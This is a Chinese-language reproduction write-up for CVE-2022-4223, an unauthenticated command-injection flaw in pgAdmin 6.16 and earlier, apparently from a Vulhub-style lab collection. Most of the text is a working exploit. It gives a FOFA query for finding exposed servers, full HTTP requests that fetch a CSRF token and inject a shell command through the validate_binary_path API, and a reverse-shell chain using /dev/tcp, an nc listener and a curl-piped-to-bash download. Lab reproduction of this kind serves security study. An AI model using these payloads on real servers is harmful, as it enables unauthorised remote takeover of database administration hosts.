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126 lines
3.8 KiB
Markdown
126 lines
3.8 KiB
Markdown
# pgAdmin ≤ 6.16 无授权远程命令执行漏洞 CVE-2022-4223
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## 漏洞描述
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pgAdmin 是一个著名的 PostgreSQL 数据库管理平台。
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pgAdmin 包含一个 HTTP API 可以用来让用户选择并验证额外的 PostgreSQL 套件，比如 pg_dump 和 pg_restore。但在其 6.16 版本及以前，对于用户传入的路径没有做合适的验证，导致未授权的用户可以在目标服务器上执行任意命令。
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参考链接：
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- https://github.com/pgadmin-org/pgadmin4/commit/799b6d8f7c10e920c9e67c2c18d381d6320ca604
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- https://github.com/pgadmin-org/pgadmin4/commit/461849c2763e680ed2296bb8a753ca7aef546595
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- https://github.com/advisories/GHSA-3v6v-2x6p-32mc
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## 漏洞影响
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```
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pgAdmin 版本 <= 6.16
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```
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## 网络测绘
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```
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"pgadmin" && icon_hash="1502815117"
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```
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## 环境搭建
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Vulhub 执行如下命令启动一个 pgAdmin 6.16 服务器：
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```
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docker compose up -d
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```
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服务器启动后，访问`http://your-ip:5050`即可查看到 pgAdmin 默认的登录页面。
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若环境启动时报错 `RuntimeError: can't start new thread`，则需要升级 docker 和 docker-compose：
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```shell
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# 参考版本
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Docker version 26.0.0, build 2ae903e
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Docker Compose version v2.26.1
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```
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## 漏洞复现
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在复现漏洞前，需要发送如下数据包获取 csrf token：
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```
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GET /login HTTP/1.1
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Host: your-ip:5050
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Accept: application/json, text/plain, */*
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User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate, br
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
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Connection: close
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```
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在返回包中拿到一个新的 session id 和 csrf token：
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```
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HTTP/1.1 200 OK
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Server: Werkzeug/2.1.2 Python/3.10.14
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Date: Sun, 07 Apr 2024 03:52:54 GMT
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Content-Type: application/json
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Content-Length: 142
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Vary: Accept-Encoding
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X-Frame-Options: SAMEORIGIN
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Content-Security-Policy: default-src ws: http: data: blob: 'unsafe-inline' 'unsafe-eval';
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X-Content-Type-Options: nosniff
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X-XSS-Protection: 1; mode=block
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Server: Python
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Set-Cookie: pga4_session=990e222d-ec6b-4a34-883f-b5e1634c7b8b!B6rx2SOWPi/Cixy+HdVIe0z/Ez6tkKgx3O2SpMYcePE=; Expires=Mon, 08 Apr 2024 03:52:54 GMT; HttpOnly; Path=/; SameSite=Lax
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Connection: close
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{"meta":{"code":200},"response":{"csrf_token":"ImJlNjk0NTdjOTg0YTIzOTYzMzUyMzk5NzRkYWIyOGQ5NTk2Yjc1NGQi.ZhIYlg.4ZuZvRDiGHuXQdJN3HCnvBzgamo"}}
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```
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然后，将获取到的 session id 和 csrf token 填写进下面的数据包并发送（如果这一步的响应包状态码不是 `200 OK`，而是 `302 Found`，则跟进重定向，直到返回 `200 OK`。然后返回上一步，再次发送 `GET /login` 请求包）：
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```
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POST /misc/validate_binary_path HTTP/1.1
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Host: your-ip:5050
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Content-Length: 27
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X-pgA-CSRFToken: [csrf-token]
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Accept: application/json, text/plain, */*
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User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
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Content-Type: application/json
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Accept-Encoding: gzip, deflate, br
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
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Cookie: pga4_session=[session-id]
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Connection: close
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{"utility_path":"a\";id;#"}
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```
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可见，`id`命令已经被成功执行：
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反弹 shell：
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```shell
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# attacker
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# step 1
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cat bash.html
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-----
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/bin/bash -i >& /dev/tcp/<your-ip>/8888 0>&1
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# step 2
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python3 -m http.server 9999
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# step3
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nc -lvnp 8888
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# victim
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curl http://<your-ip>:9999/bash.html|bash
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```
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